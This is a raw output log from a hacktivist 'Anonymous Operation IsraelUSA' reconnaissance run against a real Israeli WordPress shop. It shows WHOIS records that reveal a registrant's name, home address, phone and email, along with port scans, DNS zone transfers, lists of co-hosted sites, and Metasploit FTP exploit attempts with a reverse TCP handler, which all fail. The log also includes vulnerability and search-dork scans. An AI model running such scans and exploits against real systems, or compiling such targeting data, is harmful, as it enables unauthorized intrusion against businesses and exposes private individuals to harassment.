Anonymous Operation IsraelUSA JTSEC full recon #20

#######################################################################################################################################
Hostname 	www.ishopy.co.il 	  	ISP 	Bezeq International (AS8551)
Continent 	Asia 	  	Flag
IL
Country 	Israel 	  	Country Code 	IL (ISR)
Region 	Unknown 	  	Local time 	05 Jan 2018 03:00 IST
City 	Unknown 	  	Latitude 	31.5
IP Address 	81.218.229.174 	  	Longitude 	34.75
#######################################################################################################################################
[i] Scanning Site: http://ishopy.co.il



B A S I C   I N F O
====================


[+] Site Title: הקניון של היזמים החדשים - ISHOPY
[+] IP address: 81.218.229.174
[+] Web Server: Apache/2
[+] CMS: WordPress
[+] Cloudflare: Not Detected
[+] Robots File: Found

-------------[ contents ]----------------
User-agent: *
Disallow: /wp-admin/

-----------[end of contents]-------------



W H O I S   L O O K U P
========================


% The data in the WHOIS database of the .il registry is provided
% by ISOC-IL for information purposes, and to assist persons in
% obtaining information about or related to a domain name
% registration record. ISOC-IL does not guarantee its accuracy.
% By submitting a WHOIS query, you agree that you will use this
% Data only for lawful purposes and that, under no circumstances
% will you use this Data to: (1) allow, enable, or otherwise
% support the transmission of mass unsolicited, commercial
% advertising or solicitations via e-mail (spam);
% or  (2) enable high volume, automated, electronic processes that
% apply to ISOC-IL (or its systems).
% ISOC-IL reserves the right to modify these terms at any time.
% By submitting this query, you agree to abide by this policy.

query:        ishopy.co.il

reg-name:     ishopy
domain:       ishopy.co.il

descr:        acumana LTD
descr:        Hatichon 33
descr:        Haifa
descr:        32296
descr:        Israel
e-mail:       chenganel AT gmail.com
admin-c:      GI-CG5194-IL
tech-c:       GI-CG5194-IL
zone-c:       GI-CG5194-IL
nserver:      ns1.qwais.com
nserver:      ns2.qwais.com
validity:     12-12-2019
DNSSEC:       unsigned
status:       Transfer Locked
changed:      domain-registrar AT isoc.org.il 20131212 (Assigned)
changed:      domain-registrar AT isoc.org.il 20131218 (Changed)
changed:      domain-registrar AT isoc.org.il 20140309 (Changed)

person:       chen ganel
address:      Hatichon 33
address:      Haifa
address:      32296
address:      Israel
phone:        +972 54 2333399
e-mail:       chenganel AT gmail.com
nic-hdl:      GI-CG5194-IL
changed:      Managing Registrar 20131117

registrar name: Gorni Interactive Ltd
registrar info: http://www.box.co.il/

% Rights to the data above are restricted by copyright.




G E O  I P  L O O K  U P
=========================

[i] IP Address: 81.218.229.174
[i] Country: IL
[i] State: N/A
[i] City: N/A
[i] Latitude: 31.500000
[i] Longitude: 34.750000




H T T P   H E A D E R S
=======================


[i]  HTTP/1.1 301 Moved Permanently
[i]  Date: Fri, 05 Jan 2018 01:02:27 GMT
[i]  Server: Apache/2
[i]  Expires: Thu, 19 Nov 1981 08:52:00 GMT
[i]  Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
[i]  Pragma: no-cache
[i]  X-Pingback: http://www.ishopy.co.il/xmlrpc.php
[i]  Set-Cookie: PHPSESSID=vdd5fie0kk6245t6gno6njvu24; path=/
[i]  Location: http://www.ishopy.co.il/
[i]  Vary: Accept-Encoding,User-Agent
[i]  Content-Length: 0
[i]  Connection: close
[i]  Content-Type: text/html; charset=UTF-8
[i]  HTTP/1.1 200 OK
[i]  Date: Fri, 05 Jan 2018 01:02:28 GMT
[i]  Server: Apache/2
[i]  Expires: Thu, 19 Nov 1981 08:52:00 GMT
[i]  Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
[i]  Pragma: no-cache
[i]  X-Pingback: http://www.ishopy.co.il/xmlrpc.php
[i]  Set-Cookie: PHPSESSID=5jueoli3hcoql454red9ldd8s3; path=/
[i]  Vary: Accept-Encoding,User-Agent
[i]  Connection: close
[i]  Content-Type: text/html; charset=UTF-8




D N S   L O O K U P
===================

ishopy.co.il.		14399	IN	MX	10 mail.ishopy.co.il.
ishopy.co.il.		14399	IN	TXT	"v=spf1 a mx ip4:81.218.229.174 ~all"
ishopy.co.il.		14399	IN	A	81.218.229.174
ishopy.co.il.		14399	IN	SOA	ns1.qwais.com. hostmaster.ishopy.co.il. 2015020101 14400 3600 1209600 86400
ishopy.co.il.		14399	IN	NS	ns2.qwais.com.
ishopy.co.il.		14399	IN	NS	ns1.qwais.com.




S U B N E T   C A L C U L A T I O N
====================================

Address       = 81.218.229.174
Network       = 81.218.229.174 / 32
Netmask       = 255.255.255.255
Broadcast     = not needed on Point-to-Point links
Wildcard Mask = 0.0.0.0
Hosts Bits    = 0
Max. Hosts    = 1   (2^0 - 0)
Host Range    = { 81.218.229.174 - 81.218.229.174 }



N M A P   P O R T   S C A N
============================


Starting Nmap 7.01 ( https://nmap.org ) at 2018-01-05 01:02 UTC
Nmap scan report for ishopy.co.il (81.218.229.174)
Host is up (0.14s latency).
rDNS record for 81.218.229.174: mail.qwais.com
PORT     STATE    SERVICE       VERSION
21/tcp   open     ftp           ProFTPD 1.3.4b
22/tcp   filtered ssh
23/tcp   filtered telnet
25/tcp   open     smtp          Exim smtpd 4.80.1
80/tcp   open     http          Apache httpd 2
110/tcp  open     pop3          Dovecot DirectAdmin pop3d
143/tcp  open     imap          Dovecot imapd
443/tcp  open     ssl/http      Apache httpd 2
445/tcp  filtered microsoft-ds
3389/tcp filtered ms-wbt-server
Service Info: Hosts: il1.qwais.com, localhost; OS: Unix

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 16.00 seconds

[!] IP Address : 81.218.229.174
[!] Server: Apache/2
[-] Clickjacking protection is not in place.
[!] CMS Detected : WordPress
[?] Would you like to use WPScan? [Y/n] Y
_______________________________________________________________
        __          _______   _____
        \ \        / /  __ \ / ____|
         \ \  /\  / /| |__) | (___   ___  __ _ _ __ ®
          \ \/  \/ / |  ___/ \___ \ / __|/ _` | '_ \
           \  /\  /  | |     ____) | (__| (_| | | | |
            \/  \/   |_|    |_____/ \___|\__,_|_| |_|

        WordPress Security Scanner by the WPScan Team
                       Version 2.9.3
          Sponsored by Sucuri - https://sucuri.net
   @_WPScan_, @ethicalhack3r, @erwan_lr, pvdl, @_FireFart_
_______________________________________________________________

[+] URL: http://www.ishopy.co.il/
[+] Started: Thu Jan  4 20:04:28 2018

[+] robots.txt available under: 'http://www.ishopy.co.il/robots.txt'
[+] Interesting header: SERVER: Apache/2

[!] The target seems to be down
[+] Honeypot Probabilty: 30%
----------------------------------------
PORT     STATE    SERVICE       VERSION
21/tcp   open     ftp           ProFTPD 1.3.4b
22/tcp   filtered ssh
23/tcp   filtered telnet
25/tcp   open     smtp          Exim smtpd 4.80.1
80/tcp   open     http          Apache httpd 2
110/tcp  open     pop3          Dovecot DirectAdmin pop3d
143/tcp  open     imap          Dovecot imapd
443/tcp  open     ssl/http      Apache httpd 2
445/tcp  filtered microsoft-ds
3389/tcp filtered ms-wbt-server
----------------------------------------

[+] DNS Records

[+] Host Records (A)
www.ishopy.co.ilHTTP: (mail.qwais.com) (81.218.229.174) AS8551 Bezeq International Israel

[+] TXT Records

[+] DNS Map: https://dnsdumpster.com/static/map/www.ishopy.co.il.png

[>] Initiating 3 intel modules
[>] Loading Alpha module (1/3)
[>] Beta module deployed (2/3)
[>] Gamma module initiated (3/3)
[92m + -- ----------------------------=[Running Nslookup]=------------------------ -- +
Server:		192.168.1.254
Address:	192.168.1.254#53

Non-authoritative answer:
Name:	ishopy.co.il
Address: 81.218.229.174

ishopy.co.il has address 81.218.229.174
ishopy.co.il mail is handled by 10 mail.ishopy.co.il.
 + -- ----------------------------=[Checking OS Fingerprint]=----------------- -- +

Xprobe2 v.0.3 Copyright (c) 2002-2005 fyodor@o0o.nu, ofir@sys-security.com, meder@o0o.nu

[+] Target is ishopy.co.il
[+] Loading modules.
[+] Following modules are loaded:
[x] [1] ping:icmp_ping  -  ICMP echo discovery module
[x] [2] ping:tcp_ping  -  TCP-based ping discovery module
[x] [3] ping:udp_ping  -  UDP-based ping discovery module
[x] [4] infogather:ttl_calc  -  TCP and UDP based TTL distance calculation
[x] [5] infogather:portscan  -  TCP and UDP PortScanner
[x] [6] fingerprint:icmp_echo  -  ICMP Echo request fingerprinting module
[x] [7] fingerprint:icmp_tstamp  -  ICMP Timestamp request fingerprinting module
[x] [8] fingerprint:icmp_amask  -  ICMP Address mask request fingerprinting module
[x] [9] fingerprint:icmp_port_unreach  -  ICMP port unreachable fingerprinting module
[x] [10] fingerprint:tcp_hshake  -  TCP Handshake fingerprinting module
[x] [11] fingerprint:tcp_rst  -  TCP RST fingerprinting module
[x] [12] fingerprint:smb  -  SMB fingerprinting module
[x] [13] fingerprint:snmp  -  SNMPv2c fingerprinting module
[+] 13 modules registered
[+] Initializing scan engine
[+] Running scan engine
[-] ping:tcp_ping module: no closed/open TCP ports known on 81.218.229.174. Module test failed
[-] ping:udp_ping module: no closed/open UDP ports known on 81.218.229.174. Module test failed
[-] No distance calculation. 81.218.229.174 appears to be dead or no ports known
[+] Host: 81.218.229.174 is down (Guess probability: 0%)
[+] Cleaning up scan engine
[+] Modules deinitialized
[+] Execution completed.
 + -- ----------------------------=[Gathering Whois Info]=-------------------- -- +

% The data in the WHOIS database of the .il registry is provided
% by ISOC-IL for information purposes, and to assist persons in
% obtaining information about or related to a domain name
% registration record. ISOC-IL does not guarantee its accuracy.
% By submitting a WHOIS query, you agree that you will use this
% Data only for lawful purposes and that, under no circumstances
% will you use this Data to: (1) allow, enable, or otherwise
% support the transmission of mass unsolicited, commercial
% advertising or solicitations via e-mail (spam);
% or  (2) enable high volume, automated, electronic processes that
% apply to ISOC-IL (or its systems).
% ISOC-IL reserves the right to modify these terms at any time.
% By submitting this query, you agree to abide by this policy.

query:        ishopy.co.il

reg-name:     ishopy
domain:       ishopy.co.il

descr:        acumana LTD
descr:        Hatichon 33
descr:        Haifa
descr:        32296
descr:        Israel
e-mail:       chenganel AT gmail.com
admin-c:      GI-CG5194-IL
tech-c:       GI-CG5194-IL
zone-c:       GI-CG5194-IL
nserver:      ns1.qwais.com
nserver:      ns2.qwais.com
validity:     12-12-2019
DNSSEC:       unsigned
status:       Transfer Locked
changed:      domain-registrar AT isoc.org.il 20131212 (Assigned)
changed:      domain-registrar AT isoc.org.il 20131218 (Changed)
changed:      domain-registrar AT isoc.org.il 20140309 (Changed)

person:       chen ganel
address:      Hatichon 33
address:      Haifa
address:      32296
address:      Israel
phone:        +972 54 2333399
e-mail:       chenganel AT gmail.com
nic-hdl:      GI-CG5194-IL
changed:      Managing Registrar 20131117

registrar name: Gorni Interactive Ltd
registrar info: http://www.box.co.il/

% Rights to the data above are restricted by copyright.
 + -- ----------------------------=[Gathering OSINT Info]=-------------------- -- +

*******************************************************************
*                                                                 *
* | |_| |__   ___    /\  /\__ _ _ ____   _____  ___| |_ ___ _ __  *
* | __| '_ \ / _ \  / /_/ / _` | '__\ \ / / _ \/ __| __/ _ \ '__| *
* | |_| | | |  __/ / __  / (_| | |   \ V /  __/\__ \ ||  __/ |    *
*  \__|_| |_|\___| \/ /_/ \__,_|_|    \_/ \___||___/\__\___|_|    *
*                                                                 *
* TheHarvester Ver. 2.7                                           *
* Coded by Christian Martorella                                   *
* Edge-Security Research                                          *
* cmartorella@edge-security.com                                   *
*******************************************************************


Full harvest..
[-] Searching in Google..
	Searching 0 results...
	Searching 100 results...
	Searching 200 results...
[-] Searching in PGP Key server..
[-] Searching in Bing..
	Searching 50 results...
	Searching 100 results...
	Searching 150 results...
	Searching 200 results...
[-] Searching in Exalead..
	Searching 50 results...
	Searching 100 results...
	Searching 150 results...
	Searching 200 results...
	Searching 250 results...


[+] Emails found:
------------------
pixel-1515149593866654-web-@ishopy.co.il
pixel-1515149594476419-web-@ishopy.co.il

[+] Hosts found in search engines:
------------------------------------
[-] Resolving hostnames IPs...
81.218.229.174:www.ishopy.co.il
[+] Virtual hosts:
==================
81.218.229.174	www.kollelkotel.com
81.218.229.174	www.vipri.co.il
81.218.229.174	www.budulina.co.il
81.218.229.174	www.hodayot.com
81.218.229.174	phr.co.il
81.218.229.174	kavim.com
81.218.229.174	www.zohara-klein.co.il
81.218.229.174	tov.co.il

******************************************************
*     /\/\   ___| |_ __ _  __ _  ___   ___  / _(_) | *
*    /    \ / _ \ __/ _` |/ _` |/ _ \ / _ \| |_| | | *
*   / /\/\ \  __/ || (_| | (_| | (_) | (_) |  _| | | *
*   \/    \/\___|\__\__,_|\__, |\___/ \___/|_| |_|_| *
*                         |___/                      *
* Metagoofil Ver 2.2                                 *
* Christian Martorella                               *
* Edge-Security.com                                  *
* cmartorella_at_edge-security.com                   *
******************************************************

[-] Starting online search...

[-] Searching for doc files, with a limit of 200
	Searching 100 results...
	Searching 200 results...
Results: 0 files found
Starting to download 50 of them:
----------------------------------------


[-] Searching for pdf files, with a limit of 200
	Searching 100 results...
	Searching 200 results...
Results: 5 files found
Starting to download 50 of them:
----------------------------------------

[1/50] /webhp?hl=en-CA
	 [x] Error downloading /webhp?hl=en-CA
[2/50] /intl/en/ads
	 [x] Error downloading /intl/en/ads
[3/50] /services
	 [x] Error downloading /services
[4/50] /intl/en/policies/privacy/
[5/50] /intl/en/policies/terms/

[-] Searching for xls files, with a limit of 200
	Searching 100 results...
	Searching 200 results...
Results: 0 files found
Starting to download 50 of them:
----------------------------------------


[-] Searching for csv files, with a limit of 200
	Searching 100 results...
	Searching 200 results...
Results: 0 files found
Starting to download 50 of them:
----------------------------------------


[-] Searching for txt files, with a limit of 200
	Searching 100 results...
	Searching 200 results...
Results: 0 files found
Starting to download 50 of them:
----------------------------------------

processing
user
email

[+] List of users found:
--------------------------

[+] List of software found:
-----------------------------

[+] List of paths and servers found:
---------------------------------------

[+] List of e-mails found:
----------------------------
 + -- ----------------------------=[Gathering DNS Info]=---------------------- -- +

; <<>> DiG 9.11.2-5-Debian <<>> -x ishopy.co.il
;; global options: +cmd
;; Got answer:
;; ->>HEADER<<- opcode: QUERY, status: NXDOMAIN, id: 54434
;; flags: qr rd ra; QUERY: 1, ANSWER: 0, AUTHORITY: 1, ADDITIONAL: 1

;; OPT PSEUDOSECTION:
; EDNS: version: 0, flags:; udp: 4096
;; QUESTION SECTION:
;il.co.ishopy.in-addr.arpa.	IN	PTR

;; AUTHORITY SECTION:
in-addr.arpa.		3600	IN	SOA	b.in-addr-servers.arpa. nstld.iana.org. 2017102523 1800 900 604800 3600

;; Query time: 153 msec
;; SERVER: 192.168.1.254#53(192.168.1.254)
;; WHEN: Fri Jan 05 05:53:39 EST 2018
;; MSG SIZE  rcvd: 122

dnsenum VERSION:1.2.4

-----   ishopy.co.il   -----


Host's addresses:
__________________

ishopy.co.il.                            14231    IN    A        81.218.229.174


Name Servers:
______________

ns1.qwais.com.                           14399    IN    A        81.218.229.174
ns2.qwais.com.                           14399    IN    A        81.218.229.192


Mail (MX) Servers:
___________________

mail.ishopy.co.il.                       14231    IN    A        81.218.229.174


Trying Zone Transfers and getting Bind Versions:
_________________________________________________


Trying Zone Transfer for ishopy.co.il on ns1.qwais.com ...
ishopy.co.il.                            14400    IN    SOA               (
ishopy.co.il.                            14400    IN    MX               10
ishopy.co.il.                            14400    IN    TXT         "v=spf1
ishopy.co.il.                            14400    IN    A        81.218.229.174
ishopy.co.il.                            14400    IN    NS       ns1.qwais.com.
ishopy.co.il.                            14400    IN    NS       ns2.qwais.com.
ftp.ishopy.co.il.                        14400    IN    A        81.218.229.174
localhost.ishopy.co.il.                  14400    IN    AAAA            ::1
localhost.ishopy.co.il.                  14400    IN    A         127.0.0.1
mail.ishopy.co.il.                       14400    IN    A        81.218.229.174
old.ishopy.co.il.                        14400    IN    A        81.218.229.174
www.old.ishopy.co.il.                    14400    IN    A        81.218.229.174
pop.ishopy.co.il.                        14400    IN    A        81.218.229.174
smtp.ishopy.co.il.                       14400    IN    A        81.218.229.174
www.ishopy.co.il.                        14400    IN    A        81.218.229.174

Trying Zone Transfer for ishopy.co.il on ns2.qwais.com ...
ishopy.co.il.                            14400    IN    SOA               (
ishopy.co.il.                            14400    IN    MX               10
ishopy.co.il.                            14400    IN    TXT         "v=spf1
ishopy.co.il.                            14400    IN    A        81.218.229.174
ishopy.co.il.                            14400    IN    NS       ns1.qwais.com.
ishopy.co.il.                            14400    IN    NS       ns2.qwais.com.
ftp.ishopy.co.il.                        14400    IN    A        81.218.229.174
localhost.ishopy.co.il.                  14400    IN    AAAA            ::1
localhost.ishopy.co.il.                  14400    IN    A         127.0.0.1
mail.ishopy.co.il.                       14400    IN    A        81.218.229.174
old.ishopy.co.il.                        14400    IN    A        81.218.229.174
www.old.ishopy.co.il.                    14400    IN    A        81.218.229.174
pop.ishopy.co.il.                        14400    IN    A        81.218.229.174
smtp.ishopy.co.il.                       14400    IN    A        81.218.229.174
www.ishopy.co.il.                        14400    IN    A        81.218.229.174

brute force file not specified, bay.
 + -- ----------------------------=[Gathering DNS Subdomains]=---------------- -- +

                 ____        _     _ _     _   _____
                / ___| _   _| |__ | (_)___| |_|___ / _ __
                \___ \| | | | '_ \| | / __| __| |_ \| '__|
                 ___) | |_| | |_) | | \__ \ |_ ___) | |
                |____/ \__,_|_.__/|_|_|___/\__|____/|_|

                # Coded By Ahmed Aboul-Ela - @aboul3la

[-] Enumerating subdomains now for ishopy.co.il
[-] verbosity is enabled, will show the subdomains results in realtime
[-] Searching now in Baidu..
[-] Searching now in Yahoo..
[-] Searching now in Google..
[-] Searching now in Bing..
[-] Searching now in Ask..
[-] Searching now in Netcraft..
[-] Searching now in DNSdumpster..
[-] Searching now in Virustotal..
[-] Searching now in ThreatCrowd..
[-] Searching now in SSL Certificates..
[-] Searching now in PassiveDNS..
Virustotal: mail.ishopy.co.il
Yahoo: www.ishopy.co.il
[-] Saving results to file: /usr/share/sniper/loot/domains/domains-ishopy.co.il.txt
[-] Total Unique Subdomains Found: 2
www.ishopy.co.il
mail.ishopy.co.il

 ╔═╗╦═╗╔╦╗╔═╗╦ ╦
 ║  ╠╦╝ ║ ╚═╗╠═╣
 ╚═╝╩╚═ ╩o╚═╝╩ ╩
 + -- ----------------------------=[Gathering Certificate Subdomains]=-------- -- +

 [+] Domains saved to: /usr/share/sniper/loot/domains/domains-ishopy.co.il-full.txt

 + -- ----------------------------=[Checking for Sub-Domain Hijacking]=------- -- +
 + -- ----------------------------=[Checking Email Security]=----------------- -- +

 + -- ----------------------------=[Pinging host]=---------------------------- -- +
PING ishopy.co.il (81.218.229.174) 56(84) bytes of data.

--- ishopy.co.il ping statistics ---
1 packets transmitted, 0 received, 100% packet loss, time 0ms


 + -- ----------------------------=[Running TCP port scan]=------------------- -- +

Starting Nmap 7.60 ( https://nmap.org ) at 2018-01-05 05:54 EST
Nmap scan report for ishopy.co.il (81.218.229.174)
Host is up (0.17s latency).
rDNS record for 81.218.229.174: mail.qwais.com
Not shown: 461 filtered ports, 1 closed port
Some closed ports may be reported as filtered due to --defeat-rst-ratelimit
PORT     STATE SERVICE
21/tcp   open  ftp
53/tcp   open  domain
80/tcp   open  http
110/tcp  open  pop3
143/tcp  open  imap
443/tcp  open  https
465/tcp  open  smtps
587/tcp  open  submission
993/tcp  open  imaps
995/tcp  open  pop3s
2222/tcp open  EtherNetIP-1

Nmap done: 1 IP address (1 host up) scanned in 6.13 seconds

 + -- ----------------------------=[Running Intrusive Scans]=----------------- -- +
 + -- --=[Port 21 opened... running tests...

Starting Nmap 7.60 ( https://nmap.org ) at 2018-01-05 05:54 EST
Nmap scan report for ishopy.co.il (81.218.229.174)
Host is up (0.17s latency).
rDNS record for 81.218.229.174: mail.qwais.com
Skipping host ishopy.co.il (81.218.229.174) due to host timeout
OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 905.25 seconds

                 _---------.
             .' #######   ;."
  .---,.    ;@             @@`;   .---,..
." @@@@@'.,'@@            @@@@@',.'@@@@ ".
'-.@@@@@@@@@@@@@          @@@@@@@@@@@@@ @;
   `.@@@@@@@@@@@@        @@@@@@@@@@@@@@ .'
     "--'.@@@  -.@        @ ,'-   .'--"
          ".@' ; @       @ `.  ;'
            |@@@@ @@@     @    .
             ' @@@ @@   @@    ,
              `.@@@@    @@   .
                ',@@     @   ;           _____________
                 (   3 C    )     /|___ / Metasploit! \
                 ;@'. __*__,."    \|--- \_____________/
                  '(.,...."/


       =[ metasploit v4.16.28-dev                         ]
+ -- --=[ 1716 exploits - 985 auxiliary - 300 post        ]
+ -- --=[ 507 payloads - 40 encoders - 10 nops            ]
+ -- --=[ Free Metasploit Pro trial: http://r-7.co/trymsp ]

RHOST => ishopy.co.il
RHOSTS => ishopy.co.il
[-] ishopy.co.il:21 - Exploit failed [unreachable]: Rex::ConnectionTimeout The connection timed out (ishopy.co.il:21).
[*] Exploit completed, but no session was created.
[*] Started reverse TCP double handler on 192.168.1.65:4444
[-] ishopy.co.il:21 - Exploit failed [unreachable]: Rex::ConnectionTimeout The connection timed out (ishopy.co.il:21).
[*] Exploit completed, but no session was created.
 + -- --=[Port 22 closed... skipping.
 + -- --=[Port 23 closed... skipping.
 + -- --=[Port 25 closed... skipping.
 + -- --=[Port 53 opened... running tests...

Starting Nmap 7.60 ( https://nmap.org ) at 2018-01-05 06:10 EST
Nmap scan report for ishopy.co.il (81.218.229.174)
Host is up.
rDNS record for 81.218.229.174: mail.qwais.com
Skipping host ishopy.co.il (81.218.229.174) due to host timeout
OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 910.96 seconds
 + -- --=[Port 79 closed... skipping.
 + -- --=[Port 80 opened... running tests...
 + -- ----------------------------=[Checking for WAF]=------------------------ -- +

                                 ^     ^
        _   __  _   ____ _   __  _    _   ____
       ///7/ /.' \ / __////7/ /,' \ ,' \ / __/
      | V V // o // _/ | V V // 0 // 0 // _/
      |_n_,'/_n_//_/   |_n_,' \_,' \_,'/_/
                                <
                                 ...'

    WAFW00F - Web Application Firewall Detection Tool

    By Sandro Gauci && Wendel G. Henrique

Checking http://ishopy.co.il

 + -- ----------------------------=[Gathering HTTP Info]=--------------------- -- +
http://ishopy.co.il [ Unassigned]

	__  ______ _____ 
	\ \/ / ___|_   _|
	 \  /\___ \ | |  
	 /  \ ___) || |  
	/_/\_|____/ |_|  

+ -- --=[Cross-Site Tracer v1.3 by 1N3 @ CrowdShield
+ -- --=[Target: ishopy.co.il:80
+ -- --=[Port is closed!

 + -- ----------------------------=[Checking HTTP Headers]=------------------- -- +
+ -- --=[Checking if X-Content options are enabled on ishopy.co.il... 

+ -- --=[Checking if X-Frame options are enabled on ishopy.co.il... 

+ -- --=[Checking if X-XSS-Protection header is enabled on ishopy.co.il... 

+ -- --=[Checking HTTP methods on ishopy.co.il... 

+ -- --=[Checking if TRACE method is enabled on ishopy.co.il... 

+ -- --=[Checking for META tags on ishopy.co.il... 

+ -- --=[Checking for open proxy on ishopy.co.il... 

+ -- --=[Enumerating software on ishopy.co.il... 

+ -- --=[Checking if Strict-Transport-Security is enabled on ishopy.co.il... 

+ -- --=[Checking for Flash cross-domain policy on ishopy.co.il... 

+ -- --=[Checking for Silverlight cross-domain policy on ishopy.co.il... 

+ -- --=[Checking for HTML5 cross-origin resource sharing on ishopy.co.il... 

+ -- --=[Retrieving robots.txt on ishopy.co.il... 

+ -- --=[Retrieving sitemap.xml on ishopy.co.il... 

+ -- --=[Checking cookie attributes on ishopy.co.il... 

+ -- --=[Checking for ASP.NET Detailed Errors on ishopy.co.il... 


 + -- ----------------------------=[Running Web Vulnerability Scan]=---------- -- +
- Nikto v2.1.6
---------------------------------------------------------------------------
+ No web server found on ishopy.co.il:80
---------------------------------------------------------------------------
+ 0 host(s) tested
 + -- ----------------------------=[Saving Web Screenshots]=------------------ -- +
[+] Screenshot saved to /usr/share/sniper/loot/screenshots/ishopy.co.il-port80.jpg
 + -- ----------------------------=[Running Google Hacking Queries]=--------------------- -- +
 + -- ----------------------------=[Running InUrlBR OSINT Queries]=---------- -- +

    _____  .701F. .iBR.   .7CL. .70BR.   .7BR. .7BR'''Cq.   .70BR.      .1BR'''Yp, .8BR'''Cq.
   (_____)   01     01N.    C     01       C     01   .01.    01          01    Yb   01   .01.
   (() ())   01     C YCb   C     01       C     01   ,C9     01          01    dP   01   ,C9
    \   /    01     C  .CN. C     01       C     0101dC9      01          01'''bg.   0101dC9
     \ /     01     C   .01.C     01       C     01  YC.      01      ,   01    .Y   01  YC.
     /=\     01     C     Y01     YC.     ,C     01   .Cb.    01     ,C   01    ,9   01   .Cb.
    [___]  .J01L. .JCL.    YC      .b0101d'.   .J01L. .J01. .J01010101C .J0101Cd9  .J01L. .J01./ 2.1

__[ ! ] Neither war between hackers, nor peace for the system.
__[ ! ] http://blog.inurl.com.br
__[ ! ] http://fb.com/InurlBrasil
__[ ! ] http://twitter.com/@googleinurl
__[ ! ] http://github.com/googleinurl
__[ ! ] Current PHP version::[ 7.0.26-1 ]
__[ ! ] Current script owner::[ root ]
__[ ! ] Current uname::[ Linux Kali 4.14.0-kali1-amd64 #1 SMP Debian 4.14.2-1kali1 (2017-12-04) x86_64 ]
__[ ! ] Current pwd::[ /usr/share/sniper ]
__[ ! ] Help: php inurlbr.php --help
------------------------------------------------------------------------------------------------------------------------

[ ! ] Starting SCANNER INURLBR 2.1 at [05-01-2018 07:08:48]
[ ! ] legal disclaimer: Usage of INURLBR for attacking targets without prior mutual consent is illegal.
It is the end user's responsibility to obey all applicable local, state and federal laws.
Developers assume no liability and are not responsible for any misuse or damage caused by this program

[ INFO ][ OUTPUT FILE ]:: [ /usr/share/sniper/output/inurlbr-ishopy.co.il.txt  ]
[ INFO ][ DORK ]::[ site:ishopy.co.il ]
[ INFO ][ SEARCHING ]:: {
[ INFO ][ ENGINE ]::[ GOOGLE - www.google.com.my ]

[ INFO ][ SEARCHING ]:: 
-[:::]
[ INFO ][ ENGINE ]::[ GOOGLE API ]

[ INFO ][ SEARCHING ]:: 
-[:::]-[:::]-[:::]-[:::]-[:::]-[:::]-[:::]-[:::]-[:::]-[:::]-[:::]-[:::]-[:::]-[:::]-[:::]
[ INFO ][ ENGINE ]::[ GOOGLE_GENERIC_RANDOM - www.google.jo ID: 005911257635119896548:iiolgmwf2se ]

[ INFO ][ SEARCHING ]:: 
-[:::]-[:::]-[:::]-[:::]-[:::]-[:::]

[ INFO ][ TOTAL FOUND VALUES ]:: [ 55 ]


 _[ - ]::--------------------------------------------------------------------------------------------------------------
|_[ + ] [ 0 / 55 ]-[07:09:03] [ - ] 
|_[ + ] Target:: [ http://www.ishopy.co.il/ ]
|_[ + ] Exploit:: 
|_[ + ] Information Server:: ,   , IP::0 
|_[ + ] More details:: 
|_[ + ] Found:: UNIDENTIFIED
|_[ + ] ERROR CONECTION:: Connection timed out after 5000 milliseconds

 _[ - ]::--------------------------------------------------------------------------------------------------------------
|_[ + ] [ 1 / 55 ]-[07:09:08] [ - ] 
|_[ + ] Target:: [ http://www.ishopy.co.il/מדריכים/ ]
|_[ + ] Exploit:: 
|_[ + ] Information Server:: ,   , IP::0 
|_[ + ] More details:: 
|_[ + ] Found:: UNIDENTIFIED
|_[ + ] ERROR CONECTION:: Connection timed out after 5000 milliseconds

 _[ - ]::--------------------------------------------------------------------------------------------------------------
|_[ + ] [ 2 / 55 ]-[07:09:13] [ - ] 
|_[ + ] Target:: [ http://www.ishopy.co.il/חנויות/ ]
|_[ + ] Exploit:: 
|_[ + ] Information Server:: ,   , IP::0 
|_[ + ] More details:: 
|_[ + ] Found:: UNIDENTIFIED
|_[ + ] ERROR CONECTION:: Connection timed out after 5000 milliseconds

 _[ - ]::--------------------------------------------------------------------------------------------------------------
|_[ + ] [ 3 / 55 ]-[07:09:18] [ - ] 
|_[ + ] Target:: [ http://www.ishopy.co.il/תקנון-אתר/ ]
|_[ + ] Exploit:: 
|_[ + ] Information Server:: ,   , IP::0 
|_[ + ] More details:: 
|_[ + ] Found:: UNIDENTIFIED
|_[ + ] ERROR CONECTION:: Connection timed out after 5000 milliseconds

 _[ - ]::--------------------------------------------------------------------------------------------------------------
|_[ + ] [ 4 / 55 ]-[07:09:23] [ - ] 
|_[ + ] Target:: [ http://www.ishopy.co.il/מי-אנחנו/ ]
|_[ + ] Exploit:: 
|_[ + ] Information Server:: ,   , IP::0 
|_[ + ] More details:: 
|_[ + ] Found:: UNIDENTIFIED
|_[ + ] ERROR CONECTION:: Connection timed out after 5000 milliseconds

 _[ - ]::--------------------------------------------------------------------------------------------------------------
|_[ + ] [ 5 / 55 ]-[07:09:28] [ - ] 
|_[ + ] Target:: [ http://www.ishopy.co.il/shop/stoneage/ ]
|_[ + ] Exploit:: 
|_[ + ] Information Server:: ,   , IP::0 
|_[ + ] More details:: 
|_[ + ] Found:: UNIDENTIFIED
|_[ + ] ERROR CONECTION:: Connection timed out after 5000 milliseconds

 _[ - ]::--------------------------------------------------------------------------------------------------------------
|_[ + ] [ 6 / 55 ]-[07:09:33] [ - ] 
|_[ + ] Target:: [ http://www.ishopy.co.il/shop/שוקולנו/ ]
|_[ + ] Exploit:: 
|_[ + ] Information Server:: ,   , IP::0 
|_[ + ] More details:: 
|_[ + ] Found:: UNIDENTIFIED
|_[ + ] ERROR CONECTION:: Connection timed out after 5000 milliseconds

 _[ - ]::--------------------------------------------------------------------------------------------------------------
|_[ + ] [ 7 / 55 ]-[07:09:38] [ - ] 
|_[ + ] Target:: [ http://www.ishopy.co.il/אנחנו-מאמינים/ ]
|_[ + ] Exploit:: 
|_[ + ] Information Server:: ,   , IP::0 
|_[ + ] More details:: 
|_[ + ] Found:: UNIDENTIFIED
|_[ + ] ERROR CONECTION:: Connection timed out after 5000 milliseconds

 _[ - ]::--------------------------------------------------------------------------------------------------------------
|_[ + ] [ 8 / 55 ]-[07:09:43] [ - ] 
|_[ + ] Target:: [ http://www.ishopy.co.il/החשבון-שלי/ ]
